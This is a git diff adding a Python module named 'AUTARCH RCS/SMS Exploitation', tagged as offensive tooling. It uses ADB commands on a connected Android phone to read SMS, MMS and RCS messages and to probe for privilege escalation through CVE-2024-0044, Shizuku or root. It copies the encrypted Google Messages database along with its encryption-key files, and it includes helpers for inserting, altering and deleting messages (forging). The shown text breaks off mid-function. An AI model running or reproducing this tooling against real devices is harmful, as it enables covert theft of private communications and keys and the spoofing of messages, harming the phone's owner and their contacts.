mode 100644 index 0000000..73e1c35 --- /dev/null +++ b/modules/rcs_tools.py @@ -0,0 +1,2043 @@ +"""AUTARCH RCS/SMS Exploitation v2.0 + +Comprehensive RCS/SMS message extraction, forging, modification, and exploitation +on connected Android devices via ADB content provider commands, Shizuku shell +access, CVE-2024-0044 privilege escalation, AOSP RCS provider queries, and +Archon app integration. + +All operations execute on the target phone — nothing runs locally except +command dispatch and output parsing. + +IMPORTANT: The bugle_db (Google Messages RCS database) is encrypted at rest. +The database uses SQLCipher or Android's encrypted SQLite APIs. To read it +after extraction, you must ALSO extract the encryption key. Key locations: + - shared_prefs/ XML files (key material or key alias) + - Android Keystore (hardware-backed master key — requires app-UID or root) + - /data/data/com.google.android.apps.messaging/files/ (session keys, config) +Samsung devices add an additional proprietary encryption layer. + +Exploitation paths (in order of preference): + 1. Content providers (UID 2000 / shell — no root needed, SMS/MMS only) + 2. Archon app relay (READ_SMS + Shizuku → query via app context, bypasses encryption) + 3. CVE-2024-0044 (Android 12-13 pre-Oct 2024 — full app-UID access, can read decrypted DB) + 4. ADB backup (deprecated on Android 12+ but works on some devices) + 5. Root (if available — can extract DB + keys) +""" + +DESCRIPTION = "RCS/SMS Exploitation — Database extraction, forging, backup & spoofing" +AUTHOR = "AUTARCH" +VERSION = "2.0" +CATEGORY = "offense" + +import os +import re +import csv +import json +import time +import shlex +import struct +import sqlite3 +import subprocess +import threading +import zlib +from io import StringIO +from pathlib import Path +from datetime import datetime, timezone, timedelta +from typing import Dict, List, Optional, Any, Tuple +from xml.etree import ElementTree as ET + +try: + from core.paths import find_tool, get_data_dir +except ImportError: + import shutil as _sh + + def find_tool(name): + return _sh.which(name) + + def get_data_dir(): + return Path(__file__).resolve().parent.parent / 'data' + + +# ── Module-level singleton ────────────────────────────────────────────────── + +_instance: Optional['RCSTools'] = None + + +def get_rcs_tools() -> 'RCSTools': + global _instance + if _instance is None: + _instance = RCSTools() + return _instance + + +# ── Constants ──────────────────────────────────────────────────────────────── + +# Standard Android telephony content providers (accessible at UID 2000) +SMS_URI = 'content://sms/' +SMS_INBOX_URI = 'content://sms/inbox' +SMS_SENT_URI = 'content://sms/sent' +SMS_DRAFT_URI = 'content://sms/draft' +SMS_OUTBOX_URI = 'content://sms/outbox' +MMS_URI = 'content://mms/' +MMS_INBOX_URI = 'content://mms/inbox' +MMS_SENT_URI = 'content://mms/sent' +MMS_PART_URI = 'content://mms/part' +MMS_SMS_CONVERSATIONS_URI = 'content://mms-sms/conversations' +MMS_SMS_DRAFT_URI = 'content://mms-sms/draft' +MMS_SMS_UNDELIVERED_URI = 'content://mms-sms/undelivered' +MMS_SMS_LOCKED_URI = 'content://mms-sms/locked' + +# AOSP RCS content provider (authority: "rcs") +RCS_THREAD_URI = 'content://rcs/thread' +RCS_P2P_THREAD_URI = 'content://rcs/p2p_thread' +RCS_GROUP_THREAD_URI = 'content://rcs/group_thread' +RCS_PARTICIPANT_URI = 'content://rcs/participant' +RCS_MESSAGE_URI_FMT = 'content://rcs/p2p_thread/{thread_id}/message' +RCS_FILE_TRANSFER_URI_FMT = 'content://rcs/p2p_thread/{thread_id}/file_transfer' +RCS_INCOMING_MSG_URI_FMT = 'content://rcs/p2p_thread/{thread_id}/incoming_message' +RCS_OUTGOING_MSG_URI_FMT = 'content://rcs/p2p_thread/{thread_id}/outgoing_message' + +# Google Messages proprietary providers (may require elevated access) +GMSGS_PROVIDER = 'content://com.google.android.apps.messaging.datamodel.MessagingContentProvider' + +# All known RCS-related content provider URIs to enumerate +ALL_RCS_URIS = [ + 'content://rcs/thread', + 'content://rcs/p2p_thread', + 'content://rcs/group_thread', + 'content://rcs/participant', + 'content://im/messages/', + 'content://com.google.android.apps.messaging/messages', + 'content://com.google.android.apps.messaging.datamodel.MessagingContentProvider', + 'content://com.google.android.ims.provider/', + 'content://com.google.android.gms.ims.provider/', + 'content://com.google.android.rcs.provider/', + 'content://com.samsung.android.messaging/', + 'content://com.samsung.rcs.autoconfigurationprovider/root/*', +] + +# SMS type codes (android.provider.Telephony.Sms constants) +MSG_TYPE_ALL = 0 +MSG_TYPE_INBOX = 1 # received +MSG_TYPE_SENT = 2 # sent +MSG_TYPE_DRAFT = 3 +MSG_TYPE_OUTBOX = 4 +MSG_TYPE_FAILED = 5 +MSG_TYPE_QUEUED = 6 + +# MMS message box codes +MMS_BOX_INBOX = 1 +MMS_BOX_SENT = 2 +MMS_BOX_DRAFT = 3 +MMS_BOX_OUTBOX = 4 + +# bugle_db message_protocol values +PROTOCOL_SMS = 0 +PROTOCOL_MMS = 1 +PROTOCOL_RCS = 2 # Google proprietary — values >= 2 indicate RCS + +# bugle_db paths on device +BUGLE_DB_PATHS = [ + '/data/data/com.google.android.apps.messaging/databases/bugle_db', + '/data/user/0/com.google.android.apps.messaging/databases/bugle_db', + '/data/data/com.android.messaging/databases/bugle_db', +] + +# Telephony provider database +MMSSMS_DB_PATHS = [ + '/data/data/com.android.providers.telephony/databases/mmssms.db', + '/data/user_de/0/com.android.providers.telephony/databases/mmssms.db', +] + +# Samsung messaging databases +SAMSUNG_DB_PATHS = [ + '/data/data/com.samsung.android.messaging/databases/', + '/data/data/com.sec.android.provider.logsprovider/databases/logs.db', +] + +# Known messaging packages +MESSAGING_PACKAGES = [ + 'com.google.android.apps.messaging', # Google Messages + 'com.android.messaging', # AOSP Messages + 'com.samsung.android.messaging', # Samsung Messages + 'com.verizon.messaging.vzmsgs', # Verizon Message+ +] + +# Column projections +SMS_COLUMNS = '_id:thread_id:address:body:date:date_sent:type:read:status:protocol:service_center:person:subject:locked:seen' +MMS_COLUMNS = '_id:thread_id:date:msg_box:sub:sub_cs:ct_l:exp:m_type:read:seen:st' +MMS_PART_COLUMNS = '_id:mid:ct:text:_data:name' + +# Known CVEs affecting RCS/Android messaging +RCS_CVES = { + 'CVE-2023-24033': { + 'severity': 'critical', 'cvss': 9.8, + 'desc': 'Samsung Exynos baseband RCE via RCS SDP accept-type parsing', + 'affected': 'Exynos 5123, 5300, 980, 1080, Auto T5123', + 'type': 'zero-click', 'discoverer': 'Google Project Zero', + 'mitigation': 'Disable Wi-Fi calling and VoLTE; apply March 2023 patches', + }, + 'CVE-2024-0044': { + 'severity': 'high', 'cvss': 7.8, + 'desc': 'Android run-as privilege escalation via newline injection in PackageInstallerService', + 'affected': 'Android 12-13 pre-October 2024 security patch', + 'type': 'local', 'discoverer': 'Meta Red Team X', + 'mitigation': 'Apply October 2024 security patch', + 'exploit_available': True, + }, + 'CVE-2024-31317': { + 'severity': 'high', 'cvss': 7.8, + 'desc': 'Android system_server run-as bypass via command injection', + 'affected': 'Android 12-14 pre-QPR2', + 'type': 'local', 'discoverer': 'Meta Red Team X', + 'mitigation': 'Apply June 2024 security patch', + }, + 'CVE-2024-49415': { + 'severity': 'high', 'cvss': 8.1, + 'desc': 'Samsung libsaped.so zero-click RCE via RCS audio message (OOB write in APE decoder)', + 'affected': 'Samsung Galaxy S23/S24 Android 12-14 pre-December 2024', + 'type': 'zero-click', 'discoverer': 'Natalie Silvanovich (Project Zero)', + 'mitigation': 'Apply December 2024 Samsung security patch', + }, + 'CVE-2025-48593': { + 'severity': 'critical', 'cvss': 9.8, + 'desc': 'Android System component zero-click RCE', + 'affected': 'Android 13, 14, 15, 16', + 'type': 'zero-click', 'discoverer': 'Android Security Team', + 'mitigation': 'Apply November 2025 security patch', + }, + 'CVE-2017-0780': { + 'severity': 'medium', 'cvss': 5.5, + 'desc': 'Android Messages crash via crafted message (DoS)', + 'affected': 'Android 4.4-8.0', + 'type': 'remote', 'discoverer': 'Trend Micro', + 'mitigation': 'Update to patched Android version', + }, +} + +# Phenotype flags for Google Messages debug/verbose logging +PHENOTYPE_FLAGS = { + 'verbose_bug_reports': 'bugle_phenotype__enable_verbose_bug_reports', + 'rcs_diagnostics': 'bugle_phenotype__enable_rcs_diagnostics', + 'debug_mode': 'bugle_phenotype__enable_debug_mode', +} + +# Enterprise archival broadcast +ARCHIVAL_BROADCAST_ACTION = 'GOOGLE_MESSAGES_ARCHIVAL_UPDATE' +ARCHIVAL_URI_EXTRA = 'com.google.android.apps.messaging.EXTRA_ARCHIVAL_URI' + + +# ── RCSTools Class ─────────────────────────────────────────────────────────── + +class RCSTools: + """Comprehensive RCS/SMS exploitation via ADB.""" + + def __init__(self): + self._adb_path: Optional[str] = None + self._data_dir: Path = Path(get_data_dir()) / 'rcs_tools' + self._data_dir.mkdir(parents=True, exist_ok=True) + self._backups_dir: Path = self._data_dir / 'backups' + self._backups_dir.mkdir(parents=True, exist_ok=True) + self._exports_dir: Path = self._data_dir / 'exports' + self._exports_dir.mkdir(parents=True, exist_ok=True) + self._extracted_dir: Path = self._data_dir / 'extracted_dbs' + self._extracted_dir.mkdir(parents=True, exist_ok=True) + self._monitor_thread: Optional[threading.Thread] = None + self._monitor_running = False + self._intercepted: List[Dict[str, Any]] = [] + self._intercepted_lock = threading.Lock() + self._forged_log: List[Dict[str, Any]] = [] + self._cve_exploit_active = False + self._exploit_victim_name: Optional[str] = None + + # ══════════════════════════════════════════════════════════════════════ + # §1 ADB HELPERS + # ══════════════════════════════════════════════════════════════════════ + + def _get_adb(self) -> str: + if self._adb_path is None: + self._adb_path = find_tool('adb') + if not self._adb_path: + raise RuntimeError('adb not found') + return self._adb_path + + def _run_adb(self, command: str, timeout: int = 30) -> str: + adb = self._get_adb() + full_cmd = f'{adb} {command}' + try: + result = subprocess.run( + full_cmd, shell=True, capture_output=True, text=True, timeout=timeout, + ) + if result.returncode != 0 and result.stderr.strip(): + return f'[adb error] {result.stderr.strip()}' + return result.stdout.strip() + except subprocess.TimeoutExpired: + return f'[adb error] Command timed out after {timeout}s' + except Exception as e: + return f'[adb error] {e}' + + def _run_adb_binary(self, command: str, timeout: int = 60) -> Optional[bytes]: + adb = self._get_adb() + full_cmd = f'{adb} {command}' + try: + result = subprocess.run( + full_cmd, shell=True, capture_output=True, timeout=timeout, + ) + if result.returncode != 0: + return None + return result.stdout + except Exception: + return None + + def _run_shizuku(self, command: str, timeout: int = 30) -> str: + escaped = command.replace("'", "'\\''") + return self._run_adb(f"shell sh -c '{escaped}'", timeout=timeout) + + def _shell(self, command: str, timeout: int = 30) -> str: + return self._run_adb(f'shell {command}', timeout=timeout) + + def _content_query(self, uri: str, projection: str = '', where: str = '', + sort: str = '', limit: int = 0) -> List[Dict[str, str]]: + cmd = f'shell content query --uri {uri}' + if projection: + cmd += f' --projection {projection}' + if where: + cmd += f' --where "{where}"' + if sort: + cmd += f' --sort "{sort}"' + output = self._run_adb(cmd, timeout=30) + rows = self._parse_content_query(output) + if limit > 0: + rows = rows[:limit] + return rows + + def _content_insert(self, uri: str, bindings: Dict[str, Any]) -> str: + cmd = f'shell content insert --uri {uri}' + for key, val in bindings.items(): + if val is None: + cmd += f' --bind {key}:s:NULL' + elif isinstance(val, int): + cmd += f' --bind {key}:i:{val}' + elif isinstance(val, float): + cmd += f' --bind {key}:f:{val}' + else: + safe = str(val).replace("'", "'\\''") + cmd += f" --bind {key}:s:'{safe}'" + return self._run_adb(cmd) + + def _content_update(self, uri: str, bindings: Dict[str, Any], where: str = '') -> str: + cmd = f'shell content update --uri {uri}' + for key, val in bindings.items(): + if val is None: + cmd += f' --bind {key}:s:NULL' + elif isinstance(val, int): + cmd += f' --bind {key}:i:{val}' + else: + safe = str(val).replace("'", "'\\''") + cmd += f" --bind {key}:s:'{safe}'" + if where: + cmd += f' --where "{where}"' + return self._run_adb(cmd) + + def _content_delete(self, uri: str, where: str = '') -> str: + cmd = f'shell content delete --uri {uri}' + if where: + cmd += f' --where "{where}"' + return self._run_adb(cmd) + + def _parse_content_query(self, output: str) -> List[Dict[str, str]]: + rows = [] + if not output or output.startswith('[adb error]'): + return rows + for line in output.splitlines(): + line = line.strip() + if not line.startswith('Row:'): + continue + match = re.match(r'Row:\s*\d+\s+(.*)', line) + if not match: + continue + payload = match.group(1) + row = {} + parts = re.split(r',\s+(?=[a-zA-Z_]+=)', payload) + for part in parts: + eq_pos = part.find('=') + if eq_pos == -1: + continue + key = part[:eq_pos].strip() + val = part[eq_pos + 1:].strip() + if val == 'NULL': + val = None + row[key] = val + if row: + rows.append(row) + return rows + + def _is_error(self, output: str) -> bool: + return output.startswith('[adb error]') if output else True + + def _ts_ms(self, dt: Optional[datetime] = None) -> int: + if dt is None: + dt = datetime.now(timezone.utc) + return int(dt.timestamp() * 1000) + + def _format_ts(self, ts_ms) -> str: + try: + ts = int(ts_ms) / 1000 + return datetime.fromtimestamp(ts, tz=timezone.utc).strftime('%Y-%m-%d %H:%M:%S UTC') + except (ValueError, TypeError, OSError): + return str(ts_ms) + + # ══════════════════════════════════════════════════════════════════════ + # §2 DEVICE CONNECTION & STATUS + # ══════════════════════════════════════════════════════════════════════ + + def get_connected_device(self) -> Dict[str, Any]: + output = self._run_adb('devices') + devices = [] + for line in output.splitlines(): + line = line.strip() + if line and not line.startswith('List') and not line.startswith('*'): + parts = line.split('\t') + if len(parts) >= 2: + devices.append({'serial': parts[0], 'state': parts[1]}) + if not devices: + return {'connected': False, 'error': 'No devices connected'} + for d in devices: + if d['state'] == 'device': + return {'connected': True, 'serial': d['serial'], 'state': 'device'} + return {'connected': False, 'error': f'Device state: {devices[0]["state"]}'} + + def get_device_info(self) -> Dict[str, Any]: + dev = self.get_connected_device() + if not dev.get('connected'): + return dev + info = { + 'connected': True, + 'serial': dev['serial'], + 'model': self._shell('getprop ro.product.model'), + 'manufacturer': self._shell('getprop ro.product.manufacturer'), + 'android_version': self._shell('getprop ro.build.version.release'), + 'sdk_version': self._shell('getprop ro.build.version.sdk'), + 'security_patch': self._shell('getprop ro.build.version.security_patch'), + 'build_id': self._shell('getprop ro.build.display.id'), + 'brand': self._shell('getprop ro.product.brand'), + 'device': self._shell('getprop ro.product.device'), + 'is_pixel': 'pixel' in self._shell('getprop ro.product.brand').lower() + or 'google' in self._shell('getprop ro.product.manufacturer').lower(), + 'is_samsung': 'samsung' in self._shell('getprop ro.product.manufacturer').lower(), + } + # Check default SMS app + sms_app = self._shell('settings get secure sms_default_application') + info['default_sms_app'] = sms_app if not self._is_error(sms_app) else 'unknown' + return info + + def get_status(self) -> Dict[str, Any]: + dev = self.get_device_info() + if not dev.get('connected'): + return {'ok': False, 'connected': False, 'error': dev.get('error', 'Not connected')} + # Check Shizuku + shizuku = self.check_shizuku_status() + # Check Archon + archon = self.check_archon_installed() + # Check CVE vulnerability + cve_status = self.check_cve_2024_0044() + return { + 'ok': True, + 'connected': True, + 'device': dev, + 'shizuku': shizuku, + 'archon': archon, + 'cve_2024_0044': cve_status, + 'exploit_active': self._cve_exploit_active, + 'monitor_running': self._monitor_running, + 'intercepted_count': len(self._intercepted), + 'forged_count': len(self._forged_log), + } + + def check_shizuku_status(self) -> Dict[str, Any]: + # Check if Shizuku is installed + pm_output = self._shell('pm list packages moe.shizuku.privileged.api') + installed = 'moe.shizuku.privileged.api' in pm_output if not self._is_error(pm_output) else False + if not installed: + pm_output = self._shell('pm list packages rikka.shizuku') + installed = 'rikka.shizuku' in pm_output if not self._is_error(pm_output) else False + # Check if Shizuku service is running + running = False + if installed: + ps_out = self._shell('ps -A | grep shizuku') + running = bool(ps_out and not self._is_error(ps_out) and 'shizuku' in ps_out.lower()) + return {'installed': installed, 'running': running, 'uid': 2000 if running else None} + + def check_archon_installed(self) -> Dict[str, Any]: + pm_output = self._shell('pm list packages com.darkhal.archon') + installed = 'com.darkhal.archon' in pm_output if not self._is_error(pm_output) else False + result = {'installed': installed} + if installed: + # Check version + dump = self._shell('dumpsys package com.darkhal.archon | grep versionName') + if dump and not self._is_error(dump): + m = re.search(r'versionName=(\S+)', dump) + if m: + result['version'] = m.group(1) + # Check if Archon has messaging/RCS permissions + perms = self._shell('dumpsys package com.darkhal.archon | grep "android.permission.READ_SMS"') + result['has_sms_permission'] = 'granted=true' in perms if perms else False + perms2 = self._shell('dumpsys package com.darkhal.archon | grep "android.permission.READ_CONTACTS"') + result['has_contacts_permission'] = 'granted=true' in perms2 if perms2 else False + return result + + def get_security_patch_level(self) -> Dict[str, Any]: + patch = self._shell('getprop ro.build.version.security_patch') + android_ver = self._shell('getprop ro.build.version.release') + sdk = self._shell('getprop ro.build.version.sdk') + result = { + 'security_patch': patch, + 'android_version': android_ver, + 'sdk_version': sdk, + } + # Check if CVE-2024-0044 is exploitable + try: + sdk_int = int(sdk) + if sdk_int in (31, 32, 33): # Android 12, 12L, 13 + if patch and patch < '2024-10-01': + result['cve_2024_0044_vulnerable'] = True + else: + result['cve_2024_0044_vulnerable'] = False + else: + result['cve_2024_0044_vulnerable'] = False + except (ValueError, TypeError): + result['cve_2024_0044_vulnerable'] = False + return result + + def get_default_sms_app(self) -> Dict[str, Any]: + app = self._shell('settings get secure sms_default_application') + if self._is_error(app): + return {'ok': False, 'error': app} + return {'ok': True, 'package': app} + + def set_default_sms_app(self, package: str) -> Dict[str, Any]: + # Verify package exists + pm = self._shell(f'pm list packages {shlex.quote(package)}') + if package not in pm: + return {'ok': False, 'error': f'Package {package} not found'} + result = self._shell(f'settings put secure sms_default_application {shlex.quote(package)}') + if self._is_error(result) and result: + return {'ok': False, 'error': result} + return {'ok': True, 'message': f'Default SMS app set to {package}'} + + # ══════════════════════════════════════════════════════════════════════ + # §3 IMS/RCS DIAGNOSTICS + # ══════════════════════════════════════════════════════════════════════ + + def get_ims_status(self) -> Dict[str, Any]: + output = self._shell('dumpsys telephony_ims') + if self._is_error(output): + # Try alternate service name + output = self._shell('dumpsys telephony.registry') + if self._is_error(output): + return {'ok': False, 'error': 'Cannot query IMS status'} + lines = output.splitlines() + result = {'ok': True, 'raw': output[:5000]} + for line in lines: + line_l = line.strip().lower() + if 'registered' in line_l and 'ims' in line_l: + result['ims_registered'] = 'true' in line_l or 'yes' in line_l + if 'rcs' in line_l and ('enabled' in line_l or 'connected' in line_l): + result['rcs_enabled'] = True + if 'volte' in line_l and 'enabled' in line_l: + result['volte_enabled'] = True + return result + + def get_carrier_config(self) -> Dict[str, Any]: + output = self._shell('dumpsys carrier_config') + if self._is_error(output): + return {'ok': False, 'error': output} + rcs_keys = {} + for line in output.splitlines(): + line = line.strip() + if any(k in line.lower() for k in ['rcs', 'ims', 'uce', 'presence', 'single_registration']): + if '=' in line: + key, _, val = line.partition('=') + rcs_keys[key.strip()] = val.strip() + return {'ok': True, 'rcs_config': rcs_keys, 'raw_length': len(output)} + + def get_rcs_registration_state(self) -> Dict[str, Any]: + # Check Google Messages RCS state via dumpsys + output = self._shell('dumpsys activity service com.google.android.apps.messaging') + rcs_state = 'unknown' + if output and not self._is_error(output): + for line in output.splitlines(): + if 'rcs' in line.lower() and ('state' in line.lower() or 'connected' in line.lower()): + rcs_state = line.strip() + break + # Also try carrier_services + cs_output = self._shell('dumpsys activity service com.google.android.ims') + cs_state = 'unknown' + if cs_output and not self._is_error(cs_output): + for line in cs_output.splitlines(): + if 'provisioned' in line.lower() or 'registered' in line.lower(): + cs_state = line.strip() + break + return { + 'ok': True, + 'messages_rcs_state': rcs_state, + 'carrier_services_state': cs_state, + } + + def enable_verbose_logging(self) -> Dict[str, Any]: + results = {} + # Set Phenotype flag for verbose bug reports (no root needed) + for name, flag in PHENOTYPE_FLAGS.items(): + cmd = ( + f'shell am broadcast ' + f"-a 'com.google.android.gms.phenotype.FLAG_OVERRIDE' " + f'--es package "com.google.android.apps.messaging#com.google.android.apps.messaging" ' + f'--es user "\\*" ' + f'--esa flags "{flag}" ' + f'--esa values "true" ' + f'--esa types "boolean" ' + f'com.google.android.gms' + ) + out = self._run_adb(cmd) + results[name] = 'success' if 'Broadcast completed' in out else out + # Try setting log tags (may require root) + log_tags = ['Bugle', 'BugleDataModel', 'BugleRcs', 'BugleRcsEngine', + 'RcsProvisioning', 'CarrierServices', 'BugleTransport'] + for tag in log_tags: + self._shell(f'setprop log.tag.{tag} VERBOSE') + results['log_tags'] = 'attempted (may require root)' + return {'ok': True, 'results': results} + + def capture_rcs_logs(self, duration: int = 10) -> Dict[str, Any]: + # Clear logcat first + self._shell('logcat -c') + # Capture filtered logs + tags = 'Bugle:V BugleRcs:V RcsProvisioning:V CarrierServices:V BugleRcsEngine:V *:S' + output = self._run_adb(f'shell logcat -d -s {tags}', timeout=duration + 5) + if self._is_error(output): + return {'ok': False, 'error': output} + lines = output.splitlines() + return {'ok': True, 'lines': lines[:500], 'total_lines': len(lines)} + + # ══════════════════════════════════════════════════════════════════════ + # §4 CONTENT PROVIDER EXTRACTION (no root needed) + # ══════════════════════════════════════════════════════════════════════ + + def read_sms_database(self, limit: int = 200) -> List[Dict[str, Any]]: + rows = self._content_query(SMS_URI, projection=SMS_COLUMNS, limit=limit) + for row in rows: + if row.get('date'): + row['date_formatted'] = self._format_ts(row['date']) + row['protocol_name'] = 'SMS' + msg_type = int(row.get('type', 0)) + row['direction'] = 'incoming' if msg_type == MSG_TYPE_INBOX else 'outgoing' + return rows + + def read_sms_inbox(self, limit: int = 100) -> List[Dict[str, Any]]: + return self._content_query(SMS_INBOX_URI, projection=SMS_COLUMNS, limit=limit) + + def read_sms_sent(self, limit: int = 100) -> List[Dict[str, Any]]: + return self._content_query(SMS_SENT_URI, projection=SMS_COLUMNS, limit=limit) + + def read_mms_database(self, limit: int = 100) -> List[Dict[str, Any]]: + rows = self._content_query(MMS_URI, projection=MMS_COLUMNS, limit=limit) + # Enrich with parts (body text) + for row in rows: + mms_id = row.get('_id') + if mms_id: + parts = self._content_query( + f'content://mms/{mms_id}/part', + projection=MMS_PART_COLUMNS, + ) + row['parts'] = parts + # Extract text body from parts + for p in parts: + if p.get('ct') == 'text/plain' and p.get('text'): + row['body'] = p['text'] + break + if row.get('date'): + row['date_formatted'] = self._format_ts(int(row['date']) * 1000) + return rows + + def read_conversations(self, limit: int = 100) -> List[Dict[str, Any]]: + rows = self._content_query(MMS_SMS_CONVERSATIONS_URI, limit=limit) + return rows + + def read_draft_messages(self) -> List[Dict[str, Any]]: + return self._content_query(MMS_SMS_DRAFT_URI) + + def read_undelivered_messages(self) -> List[Dict[str, Any]]: + return self._content_query(MMS_SMS_UNDELIVERED_URI) + + def read_locked_messages(self) -> List[Dict[str, Any]]: + return self._content_query(MMS_SMS_LOCKED_URI) + + def read_rcs_provider(self) -> Dict[str, Any]: + """Query the AOSP RCS content provider (content://rcs/).""" + results = {} + # Threads + threads = self._content_query(RCS_THREAD_URI) + results['threads'] = threads + results['thread_count'] = len(threads) + # P2P threads + p2p = self._content_query(RCS_P2P_THREAD_URI) + results['p2p_threads'] = p2p + # Group threads + groups = self._content_query(RCS_GROUP_THREAD_URI) + results['group_threads'] = groups + # Participants + participants = self._content_query(RCS_PARTICIPANT_URI) + results['participants'] = participants + results['ok'] = True + return results + + def read_rcs_messages(self, thread_id: Optional[int] = None) -> List[Dict[str, Any]]: + """Read RCS messages from AOSP RCS provider.""" + if thread_id: + uri = RCS_MESSAGE_URI_FMT.format(thread_id=thread_id) + else: + # Try querying all threads and getting messages from each + threads = self._content_query(RCS_THREAD_URI) + all_msgs = [] + for t in threads: + tid = t.get('rcs_thread_id') + if tid: + msgs = self._content_query( + RCS_MESSAGE_URI_FMT.format(thread_id=tid) + ) + for m in msgs: + m['thread_id'] = tid + all_msgs.extend(msgs) + return all_msgs + return self._content_query(uri) + + def read_rcs_participants(self) -> List[Dict[str, Any]]: + return self._content_query(RCS_PARTICIPANT_URI) + + def read_rcs_file_transfers(self, thread_id: int) -> List[Dict[str, Any]]: + uri = RCS_FILE_TRANSFER_URI_FMT.format(thread_id=thread_id) + return self._content_query(uri) + + def get_thread_messages(self, thread_id: int, limit: int = 200) -> List[Dict[str, Any]]: + rows = self._content_query( + SMS_URI, projection=SMS_COLUMNS, + where=f'thread_id={thread_id}', + limit=limit, + ) + for row in rows: + if row.get('date'): + row['date_formatted'] = self._format_ts(row['date']) + return rows + + def get_messages_by_address(self, address: str, limit: int = 200) -> List[Dict[str, Any]]: + safe_addr = address.replace("'", "''") + rows = self._content_query( + SMS_URI, projection=SMS_COLUMNS, + where=f"address='{safe_addr}'", + limit=limit, + ) + for row in rows: + if row.get('date'): + row['date_formatted'] = self._format_ts(row['date']) + return rows + + def search_messages(self, keyword: str, limit: int = 100) -> List[Dict[str, Any]]: + safe_kw = keyword.replace("'", "''").replace('%', '\\%') + rows = self._content_query( + SMS_URI, projection=SMS_COLUMNS, + where=f"body LIKE '%{safe_kw}%'", + limit=limit, + ) + for row in rows: + if row.get('date'): + row['date_formatted'] = self._format_ts(row['date']) + return rows + + def enumerate_providers(self) -> Dict[str, Any]: + """Scan all known messaging content providers and report which are accessible.""" + accessible = [] + blocked = [] + for uri in ALL_RCS_URIS: + out = self._run_adb(f'shell content query --uri {uri}', timeout=5) + if self._is_error(out) or 'Permission Denial' in out or 'SecurityException' in out: + blocked.append({'uri': uri, 'error': out[:200] if out else 'no response'}) + elif 'No result found' in out: + accessible.append({'uri': uri, 'status': 'accessible', 'rows': 0}) + else: + row_count = out.count('Row:') + accessible.append({'uri': uri, 'status': 'has_data', 'rows': row_count}) + # Also check standard SMS/MMS + for uri_name, uri in [('SMS', SMS_URI), ('MMS', MMS_URI), ('Conversations', MMS_SMS_CONVERSATIONS_URI)]: + out = self._run_adb(f'shell content query --uri {uri}', timeout=5) + if not self._is_error(out) and 'Permission' not in out: + row_count = out.count('Row:') + accessible.append({'uri': uri, 'status': 'has_data', 'rows': row_count, 'name': uri_name}) + return { + 'ok': True, + 'accessible': accessible, + 'blocked': blocked, + 'total_accessible': len(accessible), + 'total_blocked': len(blocked), + } + + # ══════════════════════════════════════════════════════════════════════ + # §5 BUGLE_DB DIRECT EXTRACTION + # ══════════════════════════════════════════════════════════════════════ + + def extract_bugle_db(self) -> Dict[str, Any]: + """Extract Google Messages bugle_db using best available method. + + IMPORTANT: bugle_db is ENCRYPTED at rest (SQLCipher / Android encrypted + SQLite). Extracting the raw .db file alone is not enough — you also need + the encryption key. Key is stored in shared_prefs or Android Keystore. + + Best approach: Use Archon relay to query the DB from within the app + context (already decrypted in memory) or use CVE-2024-0044 to run as + the messaging app UID (which can open the DB with the app's key). + + We also extract shared_prefs/ and files/ directories to capture key + material alongside the database. The WAL file (bugle_db-wal) may + contain recent messages not yet checkpointed. + """ + dev = self.get_connected_device() + if not dev.get('connected'): + return {'ok': False, 'error': 'No device connected'} + + timestamp = datetime.now().strftime('%Y%m%d_%H%M%S') + extract_dir = self._extracted_dir / timestamp + extract_dir.mkdir(parents=True, exist_ok=True) + + # Method 1: Try Archon app relay (if installed and has permissions) + # Best method — Archon queries from within app context where DB is decrypted + archon = self.check_archon_installed() + if archon.get('installed') and archon.get('has_sms_permission'): + result = self._extract_via_archon(extract_dir) + if result.get('ok'): + return result + + # Method 2: Try CVE-2024-0044 (if vulnerable) + # Runs as messaging app UID — can open encrypted DB with app's key + cve = self.check_cve_2024_0044() + if cve.get('vulnerable'): + result = self._extract_via_cve(extract_dir) + if result.get('ok'): + return result + + # Method 3: Try root direct pull (DB + keys) + root_check = self._shell('id') + if 'uid=0' in root_check: + result = self._extract_via_root(extract_dir) + if result.get('ok'): + return result + + # Method 4: Try adb backup + result = self._extract_via_adb_backup(extract_dir) + if result.get('ok'): + return result + + # Method 5: Content provider fallback (SMS/MMS only, not full bugle_db) + return { + 'ok': False, + 'error': 'Cannot extract bugle_db directly. The database is encrypted ' + 'at rest — raw file extraction requires the encryption key. ' + 'Best methods: ' + '(1) Archon relay (queries from decrypted app context), ' + '(2) CVE-2024-0044 (runs as app UID, can open encrypted DB), ' + '(3) Root (extract DB + key material from shared_prefs/Keystore), ' + '(4) Content providers for SMS/MMS only (already decrypted).', + 'fallback': 'content_providers', + } + + def _extract_via_root(self, extract_dir: Path) -> Dict[str, Any]: + """Extract bugle_db + encryption key material via root access. + + The database is encrypted at rest. We pull: + - bugle_db, bugle_db-wal, bugle_db-shm (encrypted database + WAL) + - shared_prefs/ (may contain key alias or key material) + - files/ directory (Signal Protocol state, config) + """ + for db_path in BUGLE_DB_PATHS: + check = self._shell(f'su -c "ls {db_path}" 2>/dev/null') + if not self._is_error(check) and 'No such file' not in check: + app_dir = str(Path(db_path).parent.parent) # /data/data/com.google.android.apps.messaging + staging = '/data/local/tmp/autarch_extract' + self._shell(f'su -c "mkdir -p {staging}/shared_prefs {staging}/files"') + # Copy database files + for suffix in ['', '-wal', '-shm', '-journal']: + src = f'{db_path}{suffix}' + self._shell(f'su -c "cp {src} {staging}/ 2>/dev/null"') + self._shell(f'su -c "chmod 644 {staging}/{os.path.basename(src)}"') + # Copy shared_prefs (encryption key material) + self._shell(f'su -c "cp -r {app_dir}/shared_prefs/* {staging}/shared_prefs/ 2>/dev/null"') + self._shell(f'su -c "chmod -R 644 {staging}/shared_prefs/"') + # Copy files dir (Signal Protocol keys, config) + self._shell(f'su -c "cp -r {app_dir}/files/* {staging}/files/ 2>/dev/null"') + self._shell(f'su -c "chmod -R 644 {staging}/files/"') + # Pull database files + files_pulled = [] + for suffix in ['', '-wal', '-shm', '-journal']: + fname = f'bugle_db{suffix}' + local_path = str(extract_dir / fname) + pull = self._run_adb(f'pull {staging}/{fname} {local_path}') + if 'bytes' in pull.lower() or os.path.exists(local_path): + files_pulled.append(fname) + # Pull key material + keys_dir = extract_dir / 'shared_prefs' + keys_dir.mkdir(exist_ok=True) + self._run_adb(f'pull {staging}/shared_prefs/ {keys_dir}/') + files_dir = extract_dir / 'files' + files_dir.mkdir(exist_ok=True) + self._run_adb(f'pull {staging}/files/ {files_dir}/') + # Count key files + key_files = list(keys_dir.rglob('*')) if keys_dir.exists() else [] + # Cleanup + self._shell(f'su -c "rm -rf {staging}"') + if files_pulled: + return { + 'ok': 